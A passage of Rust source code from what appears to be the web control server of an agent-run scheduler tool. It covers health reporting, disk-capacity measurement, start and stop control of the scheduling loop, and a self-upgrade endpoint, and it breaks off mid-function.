2669/// Refresh the shared cache and optionally request the same handover as the UI.
2670async fn run_update_recheck(ui: Arc<Ui>) {
2671    loop {
2672        let cfg = match Config::discover(&ui.repo, None) {
2673            Ok((cfg, _)) => cfg,
2674            Err(e) => {
2675                updater::log_warn(
2676                    &ui.home,
2677                    &format!("auto-upgrade: config unavailable: {e:#}"),
2678                );
2679                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2680                continue;
2681            }
2682        };
2683        if should_spawn_recheck(&cfg.update)
2684            && let Some(checker) = updater::Checker::new(&cfg.update)
2685        {
2686            let progress = updater::read_progress(&ui.home);
2687            let mut latest = checker.cached_update();
2688            if update_recheck_due(&checker, progress.as_ref()) {
2689                match checker.newer_release().await {
2690                    Ok(found) => latest = found,
2691                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2692                }
2693            }
2694            if cfg.update.auto_restart
2695                && let Some(latest) = latest
2696            {
2697                let response =
2698                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2699                updater::log_step(
2700                    &ui.home,
2701                    &format!("auto-upgrade: request status {}", response.status()),
2702                );
2703            }
2704        }
2705        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2706    }
2707}
2708
2709/// [`UpdateView`] from the same throttled, disk-only state
2710/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2711/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2712/// no cached state at all, which is correct: an operator who turned checking
2713/// off gets no opinion, not a stale one.
2714fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2715    let default;
2716    let cfg = match cfg {
2717        Some(cfg) => cfg,
2718        None => {
2719            default = Config::default();
2720            &default
2721        }
2722    };
2723    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2724    match latest {
2725        Some(latest) => UpdateView {
2726            available: true,
2727            to: Some(latest.tag_name),
2728        },
2729        None => UpdateView {
2730            available: false,
2731            to: None,
2732        },
2733    }
2734}
2735
2736/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2737/// from the parked run's own state when the stage is
2738/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2739/// already on disk in `run.json`, so this reads them fresh rather than
2740/// trusting whatever was true the moment the park was requested.
2741fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2742    let now = Timestamp::now();
2743    let lease = updater::read_lease(&ui.home);
2744    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2745    let run_id = alive
2746        .and_then(|l| l.parked_run.as_deref())
2747        .or(progress.parked_run.as_deref());
2748    let parking = progress.stage == updater::Stage::Parking;
2749    let waited = alive.map_or_else(String::new, |l| {
2750        let secs = updater::waited_secs(l, now);
2751        format!(" (waited {} min so far)", secs / 60)
2752    });
2753    let run_text = run_id
2754        .filter(|_| parking)
2755        .map(|id| match read_run(&ui.runs, id).ok() {
2756            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2757            None => format!("run {id} is finishing"),
2758        });
2759    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2760        .filter(|t| parking && !t.is_empty())
2761        .map(|t| format!("{t} finishing"));
2762    let waiting_on = match (run_text, talks_text) {
2763        (None, None) => None,
2764        (run, talks) => {
2765            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2766            Some(format!(
2767                "{} before the address is handed over{waited}",
2768                parts.join(" and ")
2769            ))
2770        }
2771    };
2772    let detail = progress
2773        .detail
2774        .clone()
2775        .or_else(|| updater::read_note(&ui.home, &progress));
2776    let stalled = updater::stall(&progress, lease.as_ref(), now);
2777    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2778    UpgradeProgressView {
2779        trigger: progress.trigger,
2780        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2781        stuck_kind: stalled.map(|s| s.kind),
2782        handover_alive: alive.is_some(),
2783        stage: progress.stage,
2784        from: progress.from,
2785        to: progress.to,
2786        waiting_on,
2787        started_at: progress.started_at,
2788        updated_at: progress.updated_at,
2789        detail,
2790    }
2791}
2792
2793/// Last successful capacity observations, independent of admission/cleanup.
2794/// Cold or unavailable directory measurements are null, never invented zeros.
2795#[derive(Debug, Serialize)]
2796struct DiskView {
2797    /// Free bytes on the volume holding the runs, when measurable.
2798    #[serde(skip_serializing_if = "Option::is_none")]
2799    free_bytes: Option<u64>,
2800    /// Everything the runs directory occupies, when fully measurable.
2801    runs_bytes: Option<u64>,
2802    /// Everything the runs' worktrees occupy.
2803    worktrees_bytes: Option<u64>,
2804    /// The shared build cache's size, when the config names one.
2805    #[serde(skip_serializing_if = "Option::is_none")]
2806    cache_bytes: Option<u64>,
2807    /// Last bounded cleanup report, including retention and failure reasons.
2808    retention: Option<crate::retention::Report>,
2809}
2810
2811/// Capacity walks have their own demand-driven single flight, not the revision
2812/// worker: a large build cache must never delay revisions or a health response.
2813const DISK_REFRESH: Duration = Duration::from_secs(60);
2814
2815#[derive(Debug, Clone, PartialEq, Eq)]
2816struct DiskScope {
2817    runs: PathBuf,
2818    worktrees: PathBuf,
2819    cache: Option<PathBuf>,
2820}
2821
2822impl DiskScope {
2823    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2824        Self {
2825            runs: ui.runs.clone(),
2826            worktrees: ui.worktrees_root.clone(),
2827            cache: cfg.and_then(Config::cache_dir),
2828        }
2829    }
2830}
2831
2832#[derive(Debug, Clone, Copy, Default)]
2833struct DiskCapacity {
2834    free_bytes: Option<u64>,
2835    runs_bytes: Option<u64>,
2836    worktrees_bytes: Option<u64>,
2837    cache_bytes: Option<u64>,
2838}
2839
2840impl DiskCapacity {
2841    fn measure(scope: &DiskScope) -> Self {
2842        Self {
2843            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2844            runs_bytes: disk_capacity_size(&scope.runs),
2845            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2846            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2847        }
2848    }
2849
2850    fn retain_successes(&mut self, next: Self) {
2851        self.free_bytes = next.free_bytes.or(self.free_bytes);
2852        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2853        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2854        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2855    }
2856}
2857
2858/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2859/// best-effort total, an incomplete observation must not look like an empty tree.
2860fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2861    let metadata = match std::fs::symlink_metadata(path) {
2862        Ok(metadata) => metadata,
2863        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2864        Err(_) => return None,
2865    };
2866    if !metadata.is_dir() {
2867        return Some(if metadata.is_file() {
2868            metadata.len()
2869        } else {
2870            0
2871        });
2872    }
2873    let mut total = 0;
2874    let mut stack = vec![path.to_owned()];
2875    while let Some(dir) = stack.pop() {
2876        for entry in std::fs::read_dir(dir).ok()? {
2877            let entry = entry.ok()?;
2878            let metadata = entry.metadata().ok()?;
2879            if metadata.is_dir() {
2880                stack.push(entry.path());
2881            } else if metadata.is_file() {
2882                total += metadata.len();
2883            }
2884        }
2885    }
2886    Some(total)
2887}
2888
2889#[derive(Debug, Default)]
2890struct DiskObservation {
2891    scope: Option<DiskScope>,
2892    capacity: DiskCapacity,
2893    in_flight: bool,
2894    finished: Option<std::time::Instant>,
2895}
2896
2897impl DiskObservation {
2898    fn observe(
2899        state: &Arc<Mutex<Self>>,
2900        scope: DiskScope,
2901        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2902    ) -> DiskCapacity {
2903        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2904        if observation.scope.as_ref() != Some(&scope) {
2905            observation.scope = Some(scope.clone());
2906            observation.capacity = DiskCapacity::default();
2907            observation.finished = None;
2908        }
2909        let capacity = observation.capacity;
2910        if observation.in_flight
2911            || observation
2912                .finished
2913                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2914        {
2915            return capacity;
2916        }
2917        observation.in_flight = true;
2918        drop(observation);
2919
2920        let refresh = DiskRefresh {
2921            state: Arc::clone(state),
2922            scope,
2923        };
2924        tokio::task::spawn_blocking(move || {
2925            let next = measure(&refresh.scope);
2926            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2927            if observation.scope.as_ref() == Some(&refresh.scope) {
2928                observation.capacity.retain_successes(next);
2929            }
2930            drop(observation);
2931            // The guard also clears the flight on panic or a cancelled,
2932            // not-yet-started blocking job. No failed scan can wedge health.
2933            drop(refresh);
2934        });
2935        capacity
2936    }
2937}
2938
2939struct DiskRefresh {
2940    state: Arc<Mutex<DiskObservation>>,
2941    scope: DiskScope,
2942}
2943
2944impl Drop for DiskRefresh {
2945    fn drop(&mut self) {
2946        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2947        observation.in_flight = false;
2948        if observation.scope.as_ref() == Some(&self.scope) {
2949            // Wait a full period after completion, including failed scans.
2950            observation.finished = Some(std::time::Instant::now());
2951        }
2952    }
2953}
2954
2955impl DiskView {
2956    /// Return immediately, retaining known capacity while one worker refreshes.
2957    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2958        let capacity = DiskObservation::observe(
2959            &ui.monitor.disk,
2960            DiskScope::of(ui, cfg),
2961            DiskCapacity::measure,
2962        );
2963        Self::with_capacity(ui, capacity)
2964    }
2965
2966    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2967        Self {
2968            free_bytes: crate::disk::free_bytes(&ui.runs)
2969                .ok()
2970                .or(capacity.free_bytes),
2971            runs_bytes: capacity.runs_bytes,
2972            worktrees_bytes: capacity.worktrees_bytes,
2973            cache_bytes: capacity.cache_bytes,
2974            retention: ui
2975                .runs
2976                .parent()
2977                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2978                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2979        }
2980    }
2981}
2982
2983/// The daemon's state as the UI presents it.
2984#[derive(Debug, Serialize)]
2985struct DaemonView {
2986    running: bool,
2987    idle: Option<bool>,
2988    pid: Option<u32>,
2989    /// Every task and run currently in flight. Empty when idle; more than
2990    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2991    /// run going at once.
2992    current: Vec<daemon::Current>,
2993    completed: Option<u64>,
2994    stale_for_secs: Option<i64>,
2995}
2996
2997impl DaemonView {
2998    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2999    /// not this UI's — a crashed daemon must not look alive here while
3000    /// `doctor` calls it dead.
3001    fn of(status: Option<daemon::Reading>) -> Self {
3002        let Some(status) = status else {
3003            return Self {
3004                running: false,
3005                idle: None,
3006                pid: None,
3007                current: Vec::new(),
3008                completed: None,
3009                stale_for_secs: None,
3010            };
3011        };
3012        let now = Timestamp::now();
3013        let age = status.age_secs(now);
3014        Self {
3015            running: status.running(now),
3016            idle: Some(status.idle),
3017            pid: status.pid,
3018            current: status.current,
3019            completed: Some(status.completed),
3020            stale_for_secs: age,
3021        }
3022    }
3023}
3024
3025// Discover display configuration off the request path. Capacity measurement
3026// retains its separate single flight and scope/failure handling below.
3027fn refresh_health_config(ui: &Arc<Ui>) {
3028    let mut cache = ui
3029        .monitor
3030        .disk_cache
3031        .lock()
3032        .unwrap_or_else(PoisonError::into_inner);
3033    if cache.loading
3034        || cache
3035            .measured
3036            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3037    {
3038        return;
3039    }
3040    cache.loading = true;
3041    let weak = Arc::downgrade(ui);
3042    std::thread::spawn(move || {
3043        let Some(ui) = weak.upgrade() else { return };
3044        let cfg = deputy_config(&ui.repo);
3045        let update = cached_update_view(cfg.as_ref());
3046        let mut cache = ui
3047            .monitor
3048            .disk_cache
3049            .lock()
3050            .unwrap_or_else(PoisonError::into_inner);
3051        cache.config = cfg;
3052        cache.update = Some(update);
3053        cache.measured = Some(std::time::Instant::now());
3054        cache.loading = false;
3055    });
3056}
3057
3058fn health_counts(
3059    ui: &Ui,
3060    fallback_questions_rev: u64,
3061) -> ApiResult<(usize, usize, usize, u64, usize)> {
3062    let mut index = ui
3063        .monitor
3064        .health_index
3065        .lock()
3066        .unwrap_or_else(PoisonError::into_inner);
3067    let ids = run_ids(&ui.runs);
3068    let seen: HashSet<_> = ids.iter().cloned().collect();
3069    index.runs.retain(|id, _| seen.contains(id));
3070    let mut unreadable = 0;
3071    for id in ids {
3072        // Recheck identity on every request, including atomic replacements
3073        // with preserved length/mtime. A failed stat is never cached as good.
3074        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3075        let bad = match identity {
3076            Ok(identity) => {
3077                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3078                    let bad = read_run(&ui.runs, &id).is_err();
3079                    index.runs.insert(id.clone(), (identity, bad));
3080                    #[cfg(test)]
3081                    {
3082                        index.run_parses += 1;
3083                    }
3084                }
3085                index.runs[&id].1
3086            }
3087            Err(_) => true,
3088        };
3089        unreadable += usize::from(bad);
3090    }
3091    let questions_rev = try_stamps(ui.questions.root(), false, true)
3092        .map(|stamps| stamps_revision(&stamps))
3093        .unwrap_or(fallback_questions_rev);
3094    if index.questions.as_ref().is_none_or(|counts| {
3095        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3096    }) {
3097        let questions = ui.questions.list();
3098        index.questions = Some(QuestionCounts {
3099            revision: questions_rev,
3100            measured: std::time::Instant::now(),
3101            open: questions.iter().filter(|q| q.status.open()).count(),
3102            owner: questions
3103                .iter()
3104                .filter(|q| {
3105                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3106                })
3107                .count(),
3108        });
3109    }
3110    let notifications_rev =
3111        stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
3112    if index
3113        .notices
3114        .is_none_or(|(rev, _)| rev != notifications_rev)
3115    {
3116        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3117    }
3118    let questions = index.questions.as_ref().unwrap();
3119    Ok((
3120        unreadable,
3121        questions.open,
3122        questions.owner,
3123        notifications_rev,
3124        index.notices.unwrap().1,
3125    ))
3126}
3127
3128async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3129    let revisions = ui.monitor.revisions(&ui).await?;
3130    refresh_health_config(&ui);
3131    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3132        // One read of the status file for the two fields that describe it, so
3133        // `daemon` and `loop` in the same answer cannot disagree about who is
3134        // running the loop.
3135        let reading = daemon::read_status(&ui.home);
3136        // Read on its own line, not inside the literal below: the loop's lock
3137        // is not reentrant, and a guard taken as a temporary there would still
3138        // be held when `loop_view` took it again.
3139        let loop_rev = ui.lock_loop().rev;
3140        let (
3141            runs_unreadable,
3142            questions_open,
3143            questions_needs_owner,
3144            notifications_rev,
3145            notifications_unread,
3146        ) = health_counts(&ui, revisions.2)?;
3147        let ((cfg, config_observed, sizes, measured), update) = {
3148            let cache = ui
3149                .monitor
3150                .disk_cache
3151                .lock()
3152                .unwrap_or_else(PoisonError::into_inner);
3153            (
3154                (
3155                    cache.config.clone(),
3156                    cache.measured.is_some(),
3157                    cache.disk.clone(),
3158                    cache.measured,
3159                ),
3160                cache.update.clone().unwrap_or(UpdateView {
3161                    available: false,
3162                    to: None,
3163                }),
3164            )
3165        };
3166        // Retain the base's capacity observation independently of config
3167        // refreshes. A cold config read may still be pending; an existing
3168        // capacity flight must remain visible to concurrent health requests.
3169        let prior_capacity = {
3170            let mut observation = ui
3171                .monitor
3172                .disk
3173                .lock()
3174                .unwrap_or_else(PoisonError::into_inner);
3175            // Adopt a completed size snapshot only before the scoped capacity
3176            // observer has started. Later scope changes remain its authority.
3177            if observation.scope.is_none()
3178                && let Some(sizes) = sizes
3179            {
3180                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3181                observation.capacity = DiskCapacity {
3182                    runs_bytes: Some(sizes.runs),
3183                    worktrees_bytes: Some(sizes.worktrees),
3184                    cache_bytes: sizes.cache,
3185                    free_bytes: None,
3186                };
3187                observation.finished = measured;
3188            }
3189            observation.scope.as_ref().map(|_| observation.capacity)
3190        };
3191        let disk = if config_observed {
3192            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3193        } else {
3194            serde_json::to_value(DiskView::with_capacity(
3195                &ui,
3196                prior_capacity.unwrap_or_default(),
3197            ))
3198            .ok()
3199        };
3200        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3201        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3202        #[cfg(not(test))]
3203        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3204        #[cfg(test)]
3205        let looping = ui.loop_view(reading.clone());
3206        Ok(Json(HealthView {
3207            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3208            version: env!("CARGO_PKG_VERSION"),
3209            home: ui.home.display().to_string(),
3210            queue_rev: revisions.0,
3211            runs_rev: revisions.1,
3212            questions_rev: revisions.2,
3213            talks_rev: revisions.3,
3214            notifications_rev,
3215            notifications_unread,
3216            loop_rev,
3217            runs_unreadable,
3218            questions_open,
3219            questions_needs_owner,
3220            daemon: DaemonView::of(reading.clone()),
3221            looping,
3222            disk,
3223            update,
3224            upgrade,
3225            upgrade_request_error: ui
3226                .upgrade_request_error
3227                .lock()
3228                .unwrap_or_else(PoisonError::into_inner)
3229                .clone(),
3230        }))
3231    })
3232    .await
3233}
3234
3235/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3236#[derive(Debug, Serialize)]
3237struct LoopView {
3238    /// A scheduler is running, independently of this web process.
3239    running: bool,
3240    /// The scheduler has been asked to stop scheduling new work.
3241    stopping: bool,
3242    /// An explicit operator park was requested, independently from updates.
3243    parking: bool,
3244    /// This scheduler supports durable controls from any web generation.
3245    owned: bool,
3246    /// Repository the loop uses for tasks that name none - what it was
3247    /// started with while it runs, and what a start would use before that.
3248    repo: String,
3249    /// Merge mode override in force, or `null` when each repository's own
3250    /// config decides.
3251    merge: Option<String>,
3252    /// Why the last loop in this process ended, when it ended badly.
3253    ///
3254    /// The only place a crashed loop is visible to someone holding a phone.
3255    /// It is logged at error level as well, but a terminal nobody kept open
3256    /// is not a report, and a loop that died at 3am must not read as merely
3257    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3258    /// answers the same question about the same kind of failure.
3259    last_error: Option<String>,
3260    /// The status file, judged the same way `/api/health` judges it: this is
3261    /// what says whether a loop is alive in some *other* process.
3262    daemon: DaemonView,
3263}
3264
3265/// A legacy embedded scheduler that this web process cannot control.
3266///
3267/// Worker-protocol schedulers use durable controls regardless of which process
3268/// started them. Older schedulers are identified by their foreign heartbeat.
3269#[derive(Debug, Clone, Copy)]
3270struct Foreign {
3271    /// The pid the other process published, when it published one.
3272    pid: Option<u32>,
3273}
3274
3275impl Foreign {
3276    /// Another process's live loop, or `None` when this process is free to
3277    /// run one.
3278    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3279        // A fresh heartbeat with no pid in it is still evidence of a live
3280        // daemon. "Some other process" is the honest answer, and refusing
3281        // to start beside it is the safe one.
3282        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3283            return None;
3284        }
3285        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3286    }
3287
3288    /// How a conflict names it. The pid is the whole point of the message: it
3289    /// is what the operator needs to find the terminal that owns the loop.
3290    fn who(&self) -> String {
3291        match self.pid {
3292            Some(pid) => format!("another magi process (pid {pid})"),
3293            None => "another magi process".to_owned(),
3294        }
3295    }
3296}
3297
3298/// How a loop is started, as a future this module can hold onto.
3299///
3300/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3301/// trait object or a hand-written `Debug` impl for the sake of one seam.
3302type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3303
3304#[cfg(test)]
3305type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3306
3307/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3308#[cfg(test)]
3309fn launch_daemon(
3310    opts: daemon::Opts,
3311    stop: daemon::Stop,
3312) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3313    Box::pin(daemon::serve_until(opts, stop))
3314}
3315
3316/// Local web-control revisions and errors, plus the unit-test launch seam.
3317#[derive(Debug, Default)]
3318struct LoopState {
3319    /// The loop, while there is one.
3320    #[cfg(test)]
3321    live: Option<Live>,
3322    /// Local control changes streamed as `loop_rev`; actual scheduler and
3323    /// execution ownership comes from durable status and OS-held worker leases.
3324    rev: u64,
3325    /// Why the last loop ended, when it ended badly. See
3326    /// [`LoopView::last_error`].
3327    last_error: Option<String>,
3328}
3329
3330/// A loop in flight.
3331#[cfg(test)]
3332#[derive(Debug)]
3333struct Live {
3334    /// The cooperative stop, shared with the loop task.
3335    stop: daemon::Stop,
3336    /// The task itself, kept only to answer whether it is still there: a loop
3337    /// that panicked never records its own end, and without this the view
3338    /// would go on reporting a loop that no longer exists - the one lie that
3339    /// would leave the operator with no button to press.
3340    handle: tokio::task::JoinHandle<()>,
3341    /// What the loop was started with, so the view reports the repository and
3342    /// merge mode its runs will actually use rather than what an edit to the
3343    /// config since would give.
3344    opts: daemon::Opts,
3345}
3346
3347#[cfg(test)]
3348impl Live {
3349    /// Is the task still there? See [`Live::handle`].
3350    fn alive(&self) -> bool {
3351        !self.handle.is_finished()
3352    }
3353}
3354
3355/// Take the loop lock, recovering from a poisoned one.
3356///
3357/// What this mutex holds is a stop flag, a task handle and two counters, none
3358/// of which a panic elsewhere can leave in a state worth refusing to read.
3359/// Propagating the poison instead would mean an operator who can see the loop
3360/// running and can no longer stop it from the only surface they have.
3361fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3362    state.lock().unwrap_or_else(PoisonError::into_inner)
3363}
3364
3365/// `GET /api/loop`.
3366async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3367    blocking(move || {
3368        let reading = daemon::read_status(&ui.home);
3369        #[cfg(not(test))]
3370        let view = ui.try_loop_view(reading)?;
3371        #[cfg(test)]
3372        let view = ui.loop_view(reading);
3373        Ok(Json(view))
3374    })
3375    .await
3376}
3377
3378/// The body of `POST /api/loop`.
3379///
3380/// One required field and nothing else: no `default` and no unknown fields,
3381/// so a body that fails to say which way the switch was flipped is a 400
3382/// rather than a tap that quietly does the opposite of what was pressed.
3383#[derive(Debug, Deserialize)]
3384#[serde(deny_unknown_fields)]
3385struct LoopCommand {
3386    running: bool,
3387    /// Stop the run in flight at its next node boundary rather than letting it
3388    /// finish.
3389    ///
3390    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3391    /// competition is tens of minutes of paid work and finishing it is
3392    /// normally the cheapest thing to do. A park is for the operator who
3393    /// wants the process gone now - to replace the binary, most of all - and
3394    /// it costs at most the node in progress because every node writes its
3395    /// state before the next one starts.
3396    #[serde(default)]
3397    park: bool,
3398}
3399
3400/// Start or control the detached scheduler without waiting for execution
3401/// workers. Only an explicit park asks workers to stop at a node boundary.
3402async fn loop_post(
3403    State(ui): State<Arc<Ui>>,
3404    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3405) -> ApiResult<Json<LoopView>> {
3406    // Taken as a `Result` so a malformed body is a 400 like every other route
3407    // here, rather than axum's default 422 that the UI has no branch for.
3408    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3409    #[cfg(not(test))]
3410    {
3411        if body.running {
3412            ui.start_detached_loop().await?;
3413        } else {
3414            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3415            ui.stop_loop(foreign, body.park)?;
3416        }
3417        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3418    }
3419    #[cfg(test)]
3420    {
3421        blocking(move || {
3422            let reading = daemon::read_status(&ui.home);
3423            let foreign = Foreign::of(reading.as_ref());
3424            if body.running {
3425                ui.start_loop(foreign)?;
3426            } else {
3427                ui.stop_loop(foreign, body.park)?;
3428            }
3429            Ok(Json(ui.loop_view(reading)))
3430        })
3431        .await
3432    }
3433}
3434
3435/// What `POST /api/upgrade` set in motion.
3436#[derive(Debug, Serialize)]
3437struct UpgradeView {
3438    /// The version this process is running.
3439    from: String,
3440    /// The release it is replacing itself with, when there is one.
3441    to: Option<String>,
3442    /// What the operator should expect to happen next.
3443    detail: String,
3444}
3445
3446/// The stage of an upgrade that is still moving, if the record says so.
3447/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3448fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3449    progress.filter(|p| !p.stage.terminal())
3450}
3451
3452/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3453/// Unknown diagnostics retain their complete message without guessing a delay.
3454fn upgrade_retry_after(message: &str) -> Option<u64> {
3455    if !message.contains("GitHub") || !message.contains("rate limit") {
3456        return None;
3457    }
3458    if message.contains("retry now") {
3459        return Some(0);
3460    }
3461    let duration = message
3462        .split_once("resets in ")
3463        .or_else(|| message.split_once("retry after "))?
3464        .1
3465        .split_once(')')?
3466        .0;
3467    let mut rest = duration.trim();
3468    if rest.is_empty() {
3469        return None;
3470    }
3471    let mut total = 0u64;
3472    while !rest.is_empty() {
3473        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3474        let amount: u64 = rest[..n].parse().ok()?;
3475        let scale = match rest[n..].chars().next()? {
3476            's' => 1,
3477            'm' => 60,
3478            'h' => 3600,
3479            'd' => 86400,
3480            _ => return None,
3481        };
3482        total = total.checked_add(amount.checked_mul(scale)?)?;
3483        rest = rest[n + 1..].trim_start();
3484    }
3485    Some(total)
3486}
3487
3488#[derive(Debug, Clone, Serialize)]
3489struct UpgradeRequestFailure {
3490    occurred_at: String,
3491    error: String,
3492    retry_after_secs: Option<u64>,
3493    /// Unix seconds; independent of the phone's polling cadence.
3494    retry_at: Option<u64>,
3495}
3496
3497impl UpgradeRequestFailure {
3498    fn new(error: String) -> Self {
3499        let retry_after_secs = upgrade_retry_after(&error);
3500        let now = std::time::SystemTime::now()
3501            .duration_since(std::time::UNIX_EPOCH)
3502            .unwrap_or_default()
3503            .as_secs();
3504        Self {
3505            occurred_at: jiff::Timestamp::now().to_string(),
3506            error,
3507            retry_after_secs,
3508            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3509        }
3510    }
3511}
3512
3513/// `POST /api/upgrade` - replace this binary with the newest release and come
3514/// back on it.
3515///
3516/// Replace the installed binary, restart the detached scheduler, release the
3517/// web listener, then start the successor. Active task and conversation
3518/// workers retain their immutable executable and continue without parking.
3519///
3520/// A legacy embedded scheduler is the only incompatible owner: its work
3521/// must finish or park before the first migration replaces its process.
3522///
3523/// Answers **202**: the reply has to reach the phone while this process can
3524/// still send one, and the phone learns the deck is back by reconnecting.
3525async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3526    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3527}
3528
3529async fn begin_upgrade(
3530    ui: &Arc<Ui>,
3531    trigger: updater::UpgradeTrigger,
3532    latest: Option<kaishin::LatestRelease>,
3533) -> Response {
3534    let reading = daemon::read_status(&ui.home);
3535    if let Some(other) = Foreign::of(reading.as_ref()) {
3536        return ApiError::conflict(format!(
3537            "{} is a legacy scheduler without detached restart support. \
3538             Finish or explicitly park its work in the existing UI before \
3539             this first migration; independent schedulers do not need this.",
3540            other.who()
3541        ))
3542        .into_response();
3543    }
3544
3545    // A second upgrade while one is moving would replace the binary and
3546    // signal the handover again after `serve` already consumed the first
3547    // signal, leaving the process in `replaced` forever. Try-lock rather than
3548    // wait: a phone connection must not hang behind a GitHub round trip.
3549    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3550        return ApiError::conflict("another request is already preparing an upgrade")
3551            .into_response();
3552    };
3553    // Hold the same gate through recording/clearing the request outcome, so
3554    // an older response cannot overwrite a retry's result.
3555    if trigger == updater::UpgradeTrigger::Auto {
3556        let cfg = match Config::discover(&ui.repo, None) {
3557            Ok((cfg, _)) => cfg,
3558            Err(e) => {
3559                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3560            }
3561        };
3562        let Some(latest) = latest else {
3563            return StatusCode::NO_CONTENT.into_response();
3564        };
3565        let busy = ui.auto_upgrade_busy();
3566        let failed = ui
3567            .auto_failed_tag
3568            .lock()
3569            .unwrap_or_else(PoisonError::into_inner)
3570            .clone();
3571        let decision = auto_upgrade_decision(
3572            &cfg.update,
3573            updater::disabled_by_env(),
3574            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3575                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3576            busy,
3577            &latest.tag_name,
3578            failed.as_deref(),
3579        );
3580        if decision != AutoUpgradeDecision::Trigger {
3581            let reason = match decision {
3582                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3583                AutoUpgradeDecision::Skip(reason) => reason,
3584                AutoUpgradeDecision::Trigger => unreachable!(),
3585            };
3586            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3587            return StatusCode::NO_CONTENT.into_response();
3588        }
3589        // Close run admission, then recheck under the same request gate.
3590        // A resume that got in before the flag is visible in `resuming`;
3591        // one that arrives afterwards is refused by `begin_resume`.
3592        ui.upgrade_spawned
3593            .store(true, std::sync::atomic::Ordering::SeqCst);
3594        if ui.auto_upgrade_busy() {
3595            ui.upgrade_spawned
